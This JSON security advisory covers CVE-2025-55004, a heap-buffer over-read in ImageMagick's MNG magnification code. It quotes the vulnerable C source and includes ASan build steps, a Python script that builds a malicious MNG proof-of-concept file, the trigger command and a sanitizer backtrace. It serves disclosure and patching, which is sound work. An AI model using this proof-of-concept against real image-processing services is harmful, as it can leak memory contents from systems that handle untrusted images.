{"id":"JLSEC-2026-919","summary":"imagemagick: heap-buffer overflow read in MNG magnification with alpha","details":"## **Vulnerability Details**\n\nWhen performing image magnification in `ReadOneMNGIMage` (in `coders/png.c`), there is an issue around the handling of images with separate alpha channels.\n\nWhen loading an image with a color type that implies a separate alpha channel (ie. `jng_color_type \u003e= 12`), we will load the alpha pixels in this loop:\n\n```c\n     if (logging != MagickFalse)\n        (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n          \"    Reading alpha from alpha_blob.\");\n      jng_image=ReadImage(alpha_image_info,exception);\n\n      if (jng_image != (Image *) NULL)\n        for (y=0; y \u003c (ssize_t) image-\u003erows; y++)\n        {\n          s=GetVirtualPixels(jng_image,0,y,image-\u003ecolumns,1,exception);\n          q=GetAuthenticPixels(image,0,y,image-\u003ecolumns,1,exception); // [0]\n          if ((s == (const Quantum *)  NULL) || (q == (Quantum *) NULL))\n            break;\n\n          if (image-\u003ealpha_trait != UndefinedPixelTrait)\n            for (x=(ssize_t) image-\u003ecolumns; x != 0; x--)\n            {\n              SetPixelAlpha(image,GetPixelRed(jng_image,s),q);\n              q+=(ptrdiff_t) GetPixelChannels(image);\n              s+=(ptrdiff_t) GetPixelChannels(jng_image);\n            }\n\n          else\n            for (x=(ssize_t) image-\u003ecolumns; x != 0; x--)\n            {\n              Quantum\n                alpha;\n\n              alpha=GetPixelRed(jng_image,s);\n              SetPixelAlpha(image,alpha,q);\n              if (alpha != OpaqueAlpha)\n                image-\u003ealpha_trait=BlendPixelTrait; // [1]\n              q+=(ptrdiff_t) GetPixelChannels(image);\n              s+=(ptrdiff_t) GetPixelChannels(jng_image);\n            }\n\n          if (SyncAuthenticPixels(image,exception) == MagickFalse)\n            break;\n        }\n```\n\nNote that at \\[1\\] we update `image-\u003ealpha_trait`, but if our alpha image only contains non-opaque pixels in the last row, we do not call `GetAuthenticPixels` (at \\[0\\]) after this change has been made.\n\nThe next call to `GetAuthenticPixels` will then call down into `ResetPixelChannelMap` which adds the new alpha channel to the image channel mappings and metadata.\n\nIf we then pass this image into the `MAGN` chunk type, we can see that at \\[2\\] we calculate the sizes for intermediate buffers `next` and `prev`, before calling `GetAuthenticPixels` at \\[4\\].\n\nAfter the call at \\[4\\], the `image-\u003enum_channels` has increased to include the new alpha channel, and now `length` and the previously allocated `next` and `prev` buffers are too small. Fortunately `length` is always used when copying into the buffers, but when reading pixels from the buffers, we call `GetPixelXXX` which assumes the layout of the current image, which requires a larger allocation.\n\nThe pixel copying loop will subsequently read beyond the end of the allocation at \\[5\\].\n\n```c\n               /* magnify the rows into the right side of the large image */\n\n                if (logging != MagickFalse)\n                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n                    \"    Magnify the rows to %.20g\",\n                    (double) large_image-\u003erows);\n                m=(ssize_t) mng_info-\u003emagn_mt;\n                yy=0;\n                length=(size_t) GetPixelChannels(image)*image-\u003ecolumns; // [2]\n                next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));\n                prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));\n\n                if ((prev == (Quantum *) NULL) ||\n                    (next == (Quantum *) NULL))\n                  {\n                    if (prev != (Quantum *) NULL)\n                      prev=(Quantum *) RelinquishMagickMemory(prev);\n                    if (next != (Quantum *) NULL)\n                      next=(Quantum *) RelinquishMagickMemory(next);\n                    image=DestroyImageList(image);\n                    ThrowReaderException(ResourceLimitError,\n                      \"MemoryAllocationFailed\");\n                  }\n\n                n=GetAuthenticPixels(image,0,0,image-\u003ecolumns,1,exception); // [4]\n                (void) memcpy(next,n,length);\n\n                for (y=0; y \u003c (ssize_t) image-\u003erows; y++)\n                {\n                  if (y == 0)\n                    m=(ssize_t) mng_info-\u003emagn_mt;\n\n                  else if (magn_methy \u003e 1 && y == (ssize_t) image-\u003erows-2)\n                    m=(ssize_t) mng_info-\u003emagn_mb;\n\n                  else if (magn_methy \u003c= 1 && y == (ssize_t) image-\u003erows-1)\n                    m=(ssize_t) mng_info-\u003emagn_mb;\n\n                  else if (magn_methy \u003e 1 && y == (ssize_t) image-\u003erows-1)\n                    m=1;\n\n                  else\n                    m=(ssize_t) mng_info-\u003emagn_my;\n\n                  n=prev;\n                  prev=next;\n                  next=n;\n\n                  if (y \u003c (ssize_t) image-\u003erows-1)\n                    {\n                      n=GetAuthenticPixels(image,0,y+1,image-\u003ecolumns,1,\n                          exception);\n                      (void) memcpy(next,n,length);\n                    }\n\n                  for (i=0; i \u003c m; i++, yy++)\n                  {\n                    Quantum\n                      *pixels;\n\n                    assert(yy \u003c (ssize_t) large_image-\u003erows);\n                    pixels=prev;\n                    n=next;\n                    q=GetAuthenticPixels(large_image,0,yy,large_image-\u003ecolumns,\n                      1,exception);\n                    if (q == (Quantum *) NULL)\n                      break;\n                    q+=(ptrdiff_t) (large_image-\u003ecolumns-image-\u003ecolumns)*\n                      GetPixelChannels(large_image);\n\n                    for (x=(ssize_t) image-\u003ecolumns-1; x \u003e= 0; x--)\n                    {\n                      /* To do: get color as function of indexes[x] */\n                      /*\n                      if (image-\u003estorage_class == PseudoClass)\n                        {\n                        }\n                      */\n\n                      if (magn_methy \u003c= 1)\n                        {\n                          /* replicate previous */\n                          SetPixelRed(large_image,GetPixelRed(image,pixels),q);  // [5]\n                          SetPixelGreen(large_image,GetPixelGreen(image,\n                             pixels),q);\n                          SetPixelBlue(large_image,GetPixelBlue(image,\n                             pixels),q);\n                          SetPixelAlpha(large_image,GetPixelAlpha(image,\n                             pixels),q);\n                        }\n```\n\nThis can likely be used to leak subsequent memory contents into the output image.\n\nThe attached proof-of-concept triggers this issue and is not blocked by any of the default security policies.\n\n## **Affected Version(s)**\n\nThe issue has been successfully reproduced:\n\n  - at commit `3e37a7f15fcb1aa80e6beae3898e684309c2ecbe`\n\n  - in stable release `7.1.2-0`\n\n### **Build Instructions**\n\n```shell\ngit clone https://github.com/imagemagick/imagemagick\n\u000bcd imagemagick\n\nexport CC=clang\nexport CXX=clang++\nexport CFLAGS=\"-fsanitize=address -O0 -ggdb\"\nexport CXXFLAGS=\"-fsanitize=address -O0 -ggdb\"\nexport LDFLAGS=\"-fsanitize=address -O0 -ggdb\"\n\n./configure --disable-shared --disable-docs --with-jxl\nmake -j\n```\n\n## **Reproduction**\n\n### **Test Case**\n\nThis testcase is a python script that will generate an MNG file which can be used to trigger the vulnerability.\n\n```\nimport struct\nimport zlib\n\ndef chunk(tag, data):\n    crc = zlib.crc32(tag + data) & 0xffffffff\n    return struct.pack('\u003eI', len(data)) + tag + data + struct.pack('\u003eI', crc)\n\n# Simple 128x1 RGB jpeg\njpeg = bytes([\n  0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01,\n  0x01, 0x01, 0x01, 0x2c, 0x01, 0x2c, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x43,\n  0x00, 0x03, 0x02, 0x02, 0x03, 0x02, 0x02, 0x03, 0x03, 0x03, 0x03, 0x04,\n  0x03, 0x03, 0x04, 0x05, 0x08, 0x05, 0x05, 0x04, 0x04, 0x05, 0x0a, 0x07,\n  0x07, 0x06, 0x08, 0x0c, 0x0a, 0x0c, 0x0c, 0x0b, 0x0a, 0x0b, 0x0b, 0x0d,\n  0x0e, 0x12, 0x10, 0x0d, 0x0e, 0x11, 0x0e, 0x0b, 0x0b, 0x10, 0x16, 0x10,\n  0x11, 0x13, 0x14, 0x15, 0x15, 0x15, 0x0c, 0x0f, 0x17, 0x18, 0x16, 0x14,\n  0x18, 0x12, 0x14, 0x15, 0x14, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x03, 0x04,\n  0x04, 0x05, 0x04, 0x05, 0x09, 0x05, 0x05, 0x09, 0x14, 0x0d, 0x0b, 0x0d,\n  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,\n  0x14, 0x14, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x80, 0x03,\n  0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xff, 0xc4, 0x00,\n  0x15, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xff, 0xc4, 0x00, 0x14,\n  0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x01, 0x01,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x11, 0x01, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0xff, 0xda, 0x00, 0x0c, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03,\n  0x11, 0x00, 0x3f, 0x00, 0xaa, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xd9\n])\n\n# MNG File Construction\nmng_sig = b'\\x8aMNG\\r\\n\\x1a\\n'\nmhdr_data = struct.pack('\u003eIIIIIII', 1, 1, 1, 0, 0, 0, 0)\nmhdr_chunk = chunk(b'MHDR', mhdr_data)\nmagn_data = struct.pack('\u003eHH B H H H H H H B', 0, 0, 1, 2, 2, 2, 2, 2, 2, 1)\nmagn_chunk = chunk(b'MAGN', magn_data)\njhdr_data = struct.pack('\u003eIIBBBBBBBB', 128, 1, 12, 8, 8, 0, 8, 0, 0, 0)\njhdr_chunk = chunk(b'JHDR', jhdr_data)\njdat_chunk = chunk(b'JDAT', jpeg)\nscanlines = b'\\x00\\x00'*128\ncompressed_scanlines = zlib.compress(scanlines)\nidat_chunk = chunk(b'IDAT', compressed_scanlines)\niend_chunk = chunk(b'IEND', b'')\nmend_chunk = chunk(b'MEND', b'')\nmng_bytes = mng_sig + mhdr_chunk + magn_chunk + jhdr_chunk + jdat_chunk + idat_chunk + iend_chunk + mend_chunk\n\nwith open(\"magn_read.mng\", \"wb\") as tmp:\n    tmp.write(mng_bytes)\n```\n\n### **Command**\n\n```shell\npython3 ./generate_testcase.py\nutilities/magick ./magn_read.mng -resize 200x200 PNG:output.png\n```\n\n### **ASan Backtrace**\n\n```\n=================================================================\n==1562409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51b000000680 at pc 0x557a486b0c64 bp 0x7ffe63210de0 sp 0x7ffe63210dd8\nREAD of size 4 at 0x51b000000680 thread T0\n    #0 0x557a486b0c63 in GetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10\n    #1 0x557a4869ce03 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:51\n    #2 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n    #3 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n    #4 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n    #5 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22\n    #6 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7\n    #7 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n    #8 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n    #9 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n    #10 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n    #11 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n    #12 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #13 0x7f1431833d64 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #14 0x557a481a0790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f3790) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)\n\n0x51b000000680 is located 0 bytes after 1536-byte region [0x51b000000080,0x51b000000680)\nallocated by thread T0 here:\n    #0 0x557a482405c3 in malloc (/tmp/repro/imagemagick/utilities/magick+0x2935c3) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)\n    #1 0x557a482b9b6a in AcquireMagickMemory /tmp/repro/imagemagick/MagickCore/memory.c:559:10\n    #2 0x557a482b9dba in AcquireQuantumMemory /tmp/repro/imagemagick/MagickCore/memory.c:677:10\n    #3 0x557a4869c58c in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6584:34\n    #4 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9\n    #5 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15\n    #6 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9\n    #7 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22\n    #8 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7\n    #9 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13\n    #10 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5\n    #11 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14\n    #12 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10\n    #13 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10\n    #14 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 in GetPixelRed\nShadow bytes around the buggy address:\n  0x51b000000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=\u003e0x51b000000680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x51b000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x51b000000780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x51b000000900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==1562409==ABORTING\n```\n\n## **Reporter Credit**\n\nGoogle Big Sleep","modified":"2026-07-30T18:35:52.945798155Z","published":"2026-07-30T16:02:27.435Z","upstream":["CVE-2025-55004","EUVD-2025-28576","GHSA-cjc8-g9w8-chfw"],"database_specific":{"license":"CC-BY-4.0","sources":[{"html_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55004","database_specific":{"status":"Analyzed"},"id":"CVE-2025-55004","imported":"2026-07-30T14:08:44.150Z","modified":"2026-06-17T09:41:05.877Z","published":"2025-08-13T14:15:32.733Z","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2025-55004"},{"modified":"2025-08-25T15:58:45Z","published":"2025-08-25T15:58:40Z","url":"https://api.github.com/advisories/GHSA-cjc8-g9w8-chfw","html_url":"https://github.com/advisories/GHSA-cjc8-g9w8-chfw","id":"GHSA-cjc8-g9w8-chfw","imported":"2026-07-30T14:08:59.316Z"},{"imported":"2026-07-30T14:08:55.985Z","modified":"2025-08-13T14:35:59Z","published":"2025-08-13T13:59:23Z","url":"https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2025-28576","html_url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-28576","id":"EUVD-2025-28576"}]},"references":[{"type":"WEB","url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cjc8-g9w8-chfw"},{"type":"WEB","url":"https://github.com/advisories/GHSA-cjc8-g9w8-chfw"},{"type":"WEB","url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0"},{"type":"WEB","url":"https://goo.gle/bigsleep"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55004"}],"affected":[{"package":{"name":"ImageMagick_jll","ecosystem":"Julia","purl":"pkg:julia/ImageMagick_jll?uuid=c73af94c-d91f-53ed-93a7-00f77d67a9d7"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.1.2001+0"}]}],"database_specific":{"source":"https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-919.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N"}]}